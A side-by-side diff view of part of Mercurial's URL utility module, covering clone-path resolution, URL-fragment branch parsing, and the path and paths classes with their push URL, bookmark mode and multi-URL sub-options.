572 if source is None:
575 msg = _(
573 msg = _(
576 b"default path points to %d urls while %s only supports one"
574 b"default path points to %d urls while %s only supports one"
577 )
575 )
578 msg %= (len(urls), action)
576 msg %= (len(urls), action)
579 else:
577 else:
580 msg = _(b"path points to %d urls while %s only supports one: %s")
578 msg = _(b"path points to %d urls while %s only supports one: %s")
581 msg %= (len(urls), action, source)
579 msg %= (len(urls), action, source)
582 raise error.Abort(msg)
580 raise error.Abort(msg)
583 return parseurl(urls[0], default_branches)
581 return parseurl(urls[0], default_branches)
584
582
585
583
586 def get_clone_path(ui, source, default_branches=()):
584 def get_clone_path(ui, source, default_branches=()):
587 """return the `(origsource, path, branch)` selected as clone source"""
585 """return the `(origsource, path, branch)` selected as clone source"""
588 urls = []
586 urls = []
589 if source is None:
587 if source is None:
590 if b'default' in ui.paths:
588 if b'default' in ui.paths:
591 urls.extend(p.rawloc for p in ui.paths[b'default'])
589 urls.extend(p.rawloc for p in ui.paths[b'default'])
592 else:
590 else:
593 # XXX this is the historical default behavior, but that is not
591 # XXX this is the historical default behavior, but that is not
594 # great, consider breaking BC on this.
592 # great, consider breaking BC on this.
595 urls.append(b'default')
593 urls.append(b'default')
596 else:
594 else:
597 if source in ui.paths:
595 if source in ui.paths:
598 urls.extend(p.rawloc for p in ui.paths[source])
596 urls.extend(p.rawloc for p in ui.paths[source])
599 else:
597 else:
600 # Try to resolve as a local path or URI.
598 # Try to resolve as a local path or URI.
601 path = try_path(ui, source)
599 path = try_path(ui, source)
602 if path is not None:
600 if path is not None:
603 urls.append(path.rawloc)
601 urls.append(path.rawloc)
604 else:
602 else:
605 urls.append(source)
603 urls.append(source)
606 if len(urls) != 1:
604 if len(urls) != 1:
607 if source is None:
605 if source is None:
608 msg = _(
606 msg = _(
609 b"default path points to %d urls while only one is supported"
607 b"default path points to %d urls while only one is supported"
610 )
608 )
611 msg %= len(urls)
609 msg %= len(urls)
612 else:
610 else:
613 msg = _(b"path points to %d urls while only one is supported: %s")
611 msg = _(b"path points to %d urls while only one is supported: %s")
614 msg %= (len(urls), source)
612 msg %= (len(urls), source)
615 raise error.Abort(msg)
613 raise error.Abort(msg)
616 url = urls[0]
614 url = urls[0]
617 clone_path, branch = parseurl(url, default_branches)
615 clone_path, branch = parseurl(url, default_branches)
618 return url, clone_path, branch
616 return url, clone_path, branch
619
617
620
618
621 def parseurl(path, branches=None):
619 def parseurl(path, branches=None):
622 '''parse url#branch, returning (url, (branch, branches))'''
620 '''parse url#branch, returning (url, (branch, branches))'''
623 u = url(path)
621 u = url(path)
624 branch = None
622 branch = None
625 if u.fragment:
623 if u.fragment:
626 branch = u.fragment
624 branch = u.fragment
627 u.fragment = None
625 u.fragment = None
628 return bytes(u), (branch, branches or [])
626 return bytes(u), (branch, branches or [])
629
627
630
628
631 class paths(dict):
629 class paths(dict):
632 """Represents a collection of paths and their configs.
630 """Represents a collection of paths and their configs.
633
631
634 Data is initially derived from ui instances and the config files they have
632 Data is initially derived from ui instances and the config files they have
635 loaded.
633 loaded.
636 """
634 """
637
635
638 def __init__(self, ui):
636 def __init__(self, ui):
639 dict.__init__(self)
637 dict.__init__(self)
640
638
641 home_path = os.path.expanduser(b'~')
639 home_path = os.path.expanduser(b'~')
642
640
643 for name, value in ui.configitems(b'paths', ignoresub=True):
641 for name, value in ui.configitems(b'paths', ignoresub=True):
644 # No location is the same as not existing.
642 # No location is the same as not existing.
645 if not value:
643 if not value:
646 continue
644 continue
647 _value, sub_opts = ui.configsuboptions(b'paths', name)
645 _value, sub_opts = ui.configsuboptions(b'paths', name)
648 s = ui.configsource(b'paths', name)
646 s = ui.configsource(b'paths', name)
649 root_key = (name, value, s)
647 root_key = (name, value, s)
650 root = ui._path_to_root.get(root_key, home_path)
648 root = ui._path_to_root.get(root_key, home_path)
651
649
652 multi_url = sub_opts.get(b'multi-urls')
650 multi_url = sub_opts.get(b'multi-urls')
653 if multi_url is not None and stringutil.parsebool(multi_url):
651 if multi_url is not None and stringutil.parsebool(multi_url):
654 base_locs = stringutil.parselist(value)
652 base_locs = stringutil.parselist(value)
655 else:
653 else:
656 base_locs = [value]
654 base_locs = [value]
657
655
658 paths = []
656 paths = []
659 for loc in base_locs:
657 for loc in base_locs:
660 loc = os.path.expandvars(loc)
658 loc = os.path.expandvars(loc)
661 loc = os.path.expanduser(loc)
659 loc = os.path.expanduser(loc)
662 if not hasscheme(loc) and not os.path.isabs(loc):
660 if not hasscheme(loc) and not os.path.isabs(loc):
663 loc = os.path.normpath(os.path.join(root, loc))
661 loc = os.path.normpath(os.path.join(root, loc))
664 p = path(ui, name, rawloc=loc, suboptions=sub_opts)
662 p = path(ui, name, rawloc=loc, suboptions=sub_opts)
665 paths.append(p)
663 paths.append(p)
666 self[name] = paths
664 self[name] = paths
667
665
668 for name, old_paths in sorted(self.items()):
666 for name, old_paths in sorted(self.items()):
669 new_paths = []
667 new_paths = []
670 for p in old_paths:
668 for p in old_paths:
671 new_paths.extend(_chain_path(p, ui, self))
669 new_paths.extend(_chain_path(p, ui, self))
672 self[name] = new_paths
670 self[name] = new_paths
673
671
674 def getpath(self, ui, name, default=None):
672 def getpath(self, ui, name, default=None):
675 """Return a ``path`` from a string, falling back to default.
673 """Return a ``path`` from a string, falling back to default.
676
674
677 ``name`` can be a named path or locations. Locations are filesystem
675 ``name`` can be a named path or locations. Locations are filesystem
678 paths or URIs.
676 paths or URIs.
679
677
680 Returns None if ``name`` is not a registered path, a URI, or a local
678 Returns None if ``name`` is not a registered path, a URI, or a local
681 path to a repo.
679 path to a repo.
682 """
680 """
683 msg = b'getpath is deprecated, use `get_*` functions from urlutil'
681 msg = b'getpath is deprecated, use `get_*` functions from urlutil'
684 ui.deprecwarn(msg, b'6.0')
682 ui.deprecwarn(msg, b'6.0')
685 # Only fall back to default if no path was requested.
683 # Only fall back to default if no path was requested.
686 if name is None:
684 if name is None:
687 if not default:
685 if not default:
688 default = ()
686 default = ()
689 elif not isinstance(default, (tuple, list)):
687 elif not isinstance(default, (tuple, list)):
690 default = (default,)
688 default = (default,)
691 for k in default:
689 for k in default:
692 try:
690 try:
693 return self[k][0]
691 return self[k][0]
694 except KeyError:
692 except KeyError:
695 continue
693 continue
696 return None
694 return None
697
695
698 # Most likely empty string.
696 # Most likely empty string.
699 # This may need to raise in the future.
697 # This may need to raise in the future.
700 if not name:
698 if not name:
701 return None
699 return None
702 if name in self:
700 if name in self:
703 return self[name][0]
701 return self[name][0]
704 else:
702 else:
705 # Try to resolve as a local path or URI.
703 # Try to resolve as a local path or URI.
706 path = try_path(ui, name)
704 path = try_path(ui, name)
707 if path is None:
705 if path is None:
708 raise error.RepoError(_(b'repository %s does not exist') % name)
706 raise error.RepoError(_(b'repository %s does not exist') % name)
709 return path.rawloc
707 return path.rawloc
710
708
711
709
712 _pathsuboptions = {}
710 _pathsuboptions = {}
713
711
714
712
715 def pathsuboption(option, attr):
713 def pathsuboption(option, attr):
716 """Decorator used to declare a path sub-option.
714 """Decorator used to declare a path sub-option.
717
715
718 Arguments are the sub-option name and the attribute it should set on
716 Arguments are the sub-option name and the attribute it should set on
719 ``path`` instances.
717 ``path`` instances.
720
718
721 The decorated function will receive as arguments a ``ui`` instance,
719 The decorated function will receive as arguments a ``ui`` instance,
722 ``path`` instance, and the string value of this option from the config.
720 ``path`` instance, and the string value of this option from the config.
723 The function should return the value that will be set on the ``path``
721 The function should return the value that will be set on the ``path``
724 instance.
722 instance.
725
723
726 This decorator can be used to perform additional verification of
724 This decorator can be used to perform additional verification of
727 sub-options and to change the type of sub-options.
725 sub-options and to change the type of sub-options.
728 """
726 """
729
727
730 def register(func):
728 def register(func):
731 _pathsuboptions[option] = (attr, func)
729 _pathsuboptions[option] = (attr, func)
732 return func
730 return func
733
731
734 return register
732 return register
735
733
736
734
737 @pathsuboption(b'pushurl', b'_pushloc')
735 @pathsuboption(b'pushurl', b'_pushloc')
738 def pushurlpathoption(ui, path, value):
736 def pushurlpathoption(ui, path, value):
739 u = url(value)
737 u = url(value)
740 # Actually require a URL.
738 # Actually require a URL.
741 if not u.scheme:
739 if not u.scheme:
742 msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n')
740 msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n')
743 msg %= (path.name, value)
741 msg %= (path.name, value)
744 ui.warn(msg)
742 ui.warn(msg)
745 return None
743 return None
746
744
747 # Don't support the #foo syntax in the push URL to declare branch to
745 # Don't support the #foo syntax in the push URL to declare branch to
748 # push.
746 # push.
749 if u.fragment:
747 if u.fragment:
750 ui.warn(
748 ui.warn(
751 _(
749 _(
752 b'("#fragment" in paths.%s:pushurl not supported; '
750 b'("#fragment" in paths.%s:pushurl not supported; '
753 b'ignoring)\n'
751 b'ignoring)\n'
754 )
752 )
755 % path.name
753 % path.name
756 )
754 )
757 u.fragment = None
755 u.fragment = None
758
756
759 return bytes(u)
757 return bytes(u)
760
758
761
759
762 @pathsuboption(b'pushrev', b'pushrev')
760 @pathsuboption(b'pushrev', b'pushrev')
763 def pushrevpathoption(ui, path, value):
761 def pushrevpathoption(ui, path, value):
764 return value
762 return value
765
763
766
764
767 SUPPORTED_BOOKMARKS_MODES = {
765 SUPPORTED_BOOKMARKS_MODES = {
768 b'default',
766 b'default',
769 b'mirror',
767 b'mirror',
770 b'ignore',
768 b'ignore',
771 }
769 }
772
770
773
771
774 @pathsuboption(b'bookmarks.mode', b'bookmarks_mode')
772 @pathsuboption(b'bookmarks.mode', b'bookmarks_mode')
775 def bookmarks_mode_option(ui, path, value):
773 def bookmarks_mode_option(ui, path, value):
776 if value not in SUPPORTED_BOOKMARKS_MODES:
774 if value not in SUPPORTED_BOOKMARKS_MODES:
777 path_name = path.name
775 path_name = path.name
778 if path_name is None:
776 if path_name is None:
779 # this is an "anonymous" path, config comes from the global one
777 # this is an "anonymous" path, config comes from the global one
780 path_name = b'*'
778 path_name = b'*'
781 msg = _(b'(paths.%s:bookmarks.mode has unknown value: "%s")\n')
779 msg = _(b'(paths.%s:bookmarks.mode has unknown value: "%s")\n')
782 msg %= (path_name, value)
780 msg %= (path_name, value)
783 ui.warn(msg)
781 ui.warn(msg)
784 if value == b'default':
782 if value == b'default':
785 value = None
783 value = None
786 return value
784 return value
787
785
788
786
789 @pathsuboption(b'multi-urls', b'multi_urls')
787 @pathsuboption(b'multi-urls', b'multi_urls')
790 def multiurls_pathoption(ui, path, value):
788 def multiurls_pathoption(ui, path, value):
791 res = stringutil.parsebool(value)
789 res = stringutil.parsebool(value)
792 if res is None:
790 if res is None:
793 ui.warn(
791 ui.warn(
794 _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name
792 _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name
795 )
793 )
796 res = False
794 res = False
797 return res
795 return res
798
796
799
797
800 def _chain_path(base_path, ui, paths):
798 def _chain_path(base_path, ui, paths):
801 """return the result of "path://" logic applied on a given path"""
799 """return the result of "path://" logic applied on a given path"""
802 new_paths = []
800 new_paths = []
803 if base_path.url.scheme != b'path':
801 if base_path.url.scheme != b'path':
804 new_paths.append(base_path)
802 new_paths.append(base_path)
805 else:
803 else:
806 assert base_path.url.path is None
804 assert base_path.url.path is None
807 sub_paths = paths.get(base_path.url.host)
805 sub_paths = paths.get(base_path.url.host)
808 if sub_paths is None:
806 if sub_paths is None:
809 m = _(b'cannot use `%s`, "%s" is not a known path')
807 m = _(b'cannot use `%s`, "%s" is not a known path')
810 m %= (base_path.rawloc, base_path.url.host)
808 m %= (base_path.rawloc, base_path.url.host)
811 raise error.Abort(m)
809 raise error.Abort(m)
812 for subpath in sub_paths:
810 for subpath in sub_paths:
813 path = base_path.copy()
811 path = base_path.copy()
814 if subpath.raw_url.scheme == b'path':
812 if subpath.raw_url.scheme == b'path':
815 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
813 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
816 m %= (path.rawloc, path.url.host)
814 m %= (path.rawloc, path.url.host)
817 raise error.Abort(m)
815 raise error.Abort(m)
818 path.url = subpath.url
816 path.url = subpath.url
819 path.rawloc = subpath.rawloc
817 path.rawloc = subpath.rawloc
820 path.loc = subpath.loc
818 path.loc = subpath.loc
821 if path.branch is None:
819 if path.branch is None:
822 path.branch = subpath.branch
820 path.branch = subpath.branch
823 else:
821 else:
824 base = path.rawloc.rsplit(b'#', 1)[0]
822 base = path.rawloc.rsplit(b'#', 1)[0]
825 path.rawloc = b'%s#%s' % (base, path.branch)
823 path.rawloc = b'%s#%s' % (base, path.branch)
826 suboptions = subpath._all_sub_opts.copy()
824 suboptions = subpath._all_sub_opts.copy()
827 suboptions.update(path._own_sub_opts)
825 suboptions.update(path._own_sub_opts)
828 path._apply_suboptions(ui, suboptions)
826 path._apply_suboptions(ui, suboptions)
829 new_paths.append(path)
827 new_paths.append(path)
830 return new_paths
828 return new_paths
831
829
832
830
833 class path:
831 class path:
834 """Represents an individual path and its configuration."""
832 """Represents an individual path and its configuration."""
835
833
836 def __init__(
834 def __init__(
837 self,
835 self,
838 ui=None,
836 ui=None,
839 name=None,
837 name=None,
840 rawloc=None,
838 rawloc=None,
841 suboptions=None,
839 suboptions=None,
842 validate_path=True,
840 validate_path=True,
843 ):
841 ):
844 """Construct a path from its config options.
842 """Construct a path from its config options.
845
843
846 ``ui`` is the ``ui`` instance the path is coming from.
844 ``ui`` is the ``ui`` instance the path is coming from.
847 ``name`` is the symbolic name of the path.
845 ``name`` is the symbolic name of the path.
848 ``rawloc`` is the raw location, as defined in the config.
846 ``rawloc`` is the raw location, as defined in the config.
849 ``_pushloc`` is the raw locations pushes should be made to.
847 ``_pushloc`` is the raw locations pushes should be made to.
850 (see the `get_push_variant` method)
848 (see the `get_push_variant` method)
851
849
852 If ``name`` is not defined, we require that the location be a) a local
850 If ``name`` is not defined, we require that the location be a) a local
853 filesystem path with a .hg directory or b) a URL. If not,
851 filesystem path with a .hg directory or b) a URL. If not,
854 ``ValueError`` is raised.
852 ``ValueError`` is raised.
855 """
853 """
856 if ui is None:
854 if ui is None:
857 # used in copy
855 # used in copy
858 assert name is None
856 assert name is None
859 assert rawloc is None
857 assert rawloc is None
860 assert suboptions is None
858 assert suboptions is None
861 return
859 return
862
860
863 if not rawloc:
861 if not rawloc:
864 raise ValueError(b'rawloc must be defined')
862 raise ValueError(b'rawloc must be defined')
865
863
866 self.name = name
864 self.name = name
867
865
868 # set by path variant to point to their "non-push" version
866 # set by path variant to point to their "non-push" version
869 self.main_path = None
867 self.main_path = None
870 self._setup_url(rawloc)
868 self._setup_url(rawloc)
871
869
872 if validate_path:
870 if validate_path:
873 self._validate_path()
871 self._validate_path()
874
872
875 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
873 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
876 self._own_sub_opts = {}
874 self._own_sub_opts = {}
877 if suboptions is not None:
875 if suboptions is not None:
878 self._own_sub_opts = suboptions.copy()
876 self._own_sub_opts = suboptions.copy()
879 sub_opts.update(suboptions)
877 sub_opts.update(suboptions)
880 self._all_sub_opts = sub_opts.copy()
878 self._all_sub_opts = sub_opts.copy()
881
879
882 self._apply_suboptions(ui, sub_opts)
880 self._apply_suboptions(ui, sub_opts)
883
881
884 def _setup_url(self, rawloc):
882 def _setup_url(self, rawloc):
885 # Locations may define branches via syntax <base>#<branch>.
883 # Locations may define branches via syntax <base>#<branch>.
886 u = url(rawloc)
884 u = url(rawloc)
887 branch = None
885 branch = None
888 if u.fragment:
886 if u.fragment:
889 branch = u.fragment
887 branch = u.fragment
890 u.fragment = None
888 u.fragment = None
891
889
892 self.url = u
890 self.url = u
893 # the url from the config/command line before dealing with `path://`
891 # the url from the config/command line before dealing with `path://`
894 self.raw_url = u.copy()
892 self.raw_url = u.copy()
895 self.branch = branch
893 self.branch = branch
896
894
897 self.rawloc = rawloc
895 self.rawloc = rawloc
898 self.loc = b'%s' % u
896 self.loc = b'%s' % u
899
897
900 def copy(self):
898 def copy(self):
901 """make a copy of this path object"""
899 """make a copy of this path object"""
902 new = self.__class__()
900 new = self.__class__()
903 for k, v in self.__dict__.items():
901 for k, v in self.__dict__.items():
904 new_copy = getattr(v, 'copy', None)
902 new_copy = getattr(v, 'copy', None)
905 if new_copy is not None:
903 if new_copy is not None:
906 v = new_copy()
904 v = new_copy()
907 new.__dict__[k] = v
905 new.__dict__[k] = v
908 return new
906 return new
909
907
910 @property
908 @property
911 def is_push_variant(self):
909 def is_push_variant(self):
912 """is this a path variant to be used for pushing"""
910 """is this a path variant to be used for pushing"""
913 return self.main_path is not None
911 return self.main_path is not None
914
912
915 def get_push_variant(self):
913 def get_push_variant(self):
916 """get a "copy" of the path, but suitable for pushing
914 """get a "copy" of the path, but suitable for pushing
917
915
918 This means using the value of the `pushurl` option (if any) as the url.
916 This means using the value of the `pushurl` option (if any) as the url.
919
917
920 The original path is available in the `main_path` attribute.
918 The original path is available in the `main_path` attribute.
921 """
919 """
922 if self.main_path:
920 if self.main_path:
923 return self
921 return self
924 new = self.copy()
922 new = self.copy()
925 new.main_path = self
923 new.main_path = self
926 if self._pushloc:
924 if self._pushloc:
927 new._setup_url(self._pushloc)
925 new._setup_url(self._pushloc)
928 return new
926 return new
929
927
930 def pushloc(self):
928 def pushloc(self):
931 """compatibility layer for the deprecated attributes"""
929 """compatibility layer for the deprecated attributes"""
932 from .. import util # avoid a cycle
930 from .. import util # avoid a cycle
933
931
934 msg = "don't use path.pushloc, use path.get_push_variant()"
932 msg = "don't use path.pushloc, use path.get_push_variant()"
935 util.nouideprecwarn(msg, b"6.5")
933 util.nouideprecwarn(msg, b"6.5")
936 return self._pushloc
934 return self._pushloc
937
935
938 def _validate_path(self):
936 def _validate_path(self):
939 # When given a raw location but not a symbolic name, validate the
937 # When given a raw location but not a symbolic name, validate the
940 # location is valid.
938 # location is valid.
941 if (
939 if (
942 not self.name
940 not self.name
943 and not self.url.scheme
941 and not self.url.scheme
944 and not self._isvalidlocalpath(self.loc)
942 and not self._isvalidlocalpath(self.loc)
945 ):
943 ):
946 raise ValueError(
944 raise ValueError(
947 b'location is not a URL or path to a local '
945 b'location is not a URL or path to a local '
948 b'repo: %s' % self.rawloc
946 b'repo: %s' % self.rawloc
949 )
947 )
950
948
951 def _apply_suboptions(self, ui, sub_options):
949 def _apply_suboptions(self, ui, sub_options):
952 # Now process the sub-options. If a sub-option is registered, its
950 # Now process the sub-options. If a sub-option is registered, its
953 # attribute will always be present. The value will be None if there
951 # attribute will always be present. The value will be None if there
954 # was no valid sub-option.
952 # was no valid sub-option.
955 for suboption, (attr, func) in _pathsuboptions.items():
953 for suboption, (attr, func) in _pathsuboptions.items():
956 if suboption not in sub_options:
954 if suboption not in sub_options:
957 setattr(self, attr, None)
955 setattr(self, attr, None)
958 continue
956 continue
959
957
960 value = func(ui, self, sub_options[suboption])
958 value = func(ui, self, sub_options[suboption])
961 setattr(self, attr, value)
959 setattr(self, attr, value)
962
960
963 def _isvalidlocalpath(self, path):
961 def _isvalidlocalpath(self, path):
964 """Returns True if the given path is a potentially valid repository.
962 """Returns True if the given path is a potentially valid repository.
965 This is its own function so that extensions can change the definition of
963 This is its own function so that extensions can change the definition of
966 'valid' in this case (like when pulling from a git repo into a hg
964 'valid' in this case (like when pulling from a git repo into a hg
967 one)."""
965 one)."""
968 try:
966 try:
969 return os.path.isdir(os.path.join(path, b'.hg'))
967 return os.path.isdir(os.path.join(path, b'.hg'))
970 # Python 2 may return TypeError. Python 3, ValueError.
968 # Python 2 may return TypeError. Python 3, ValueError.
971 except (TypeError, ValueError):
969 except (TypeError, ValueError):
972 return False
970 return False
973
971
974 @property
972 @property
975 def suboptions(self):
973 def suboptions(self):
976 """Return sub-options and their values for this path.
974 """Return sub-options and their values for this path.
977
975
978 This is intended to be used for presentation purposes.
976 This is intended to be used for presentation purposes.
979 """
977 """
980 d = {}
978 d = {}
981 for subopt, (attr, _func) in _pathsuboptions.items():
979 for subopt, (attr, _func) in _pathsuboptions.items():
982 value = getattr(self, attr)
980 value = getattr(self, attr)
983 if value is not None:
981 if value is not None:
984 d[subopt] = value
982 d[subopt] = value
985 return d
983 return d
General Comments 0
You need to be logged in to leave comments. Login now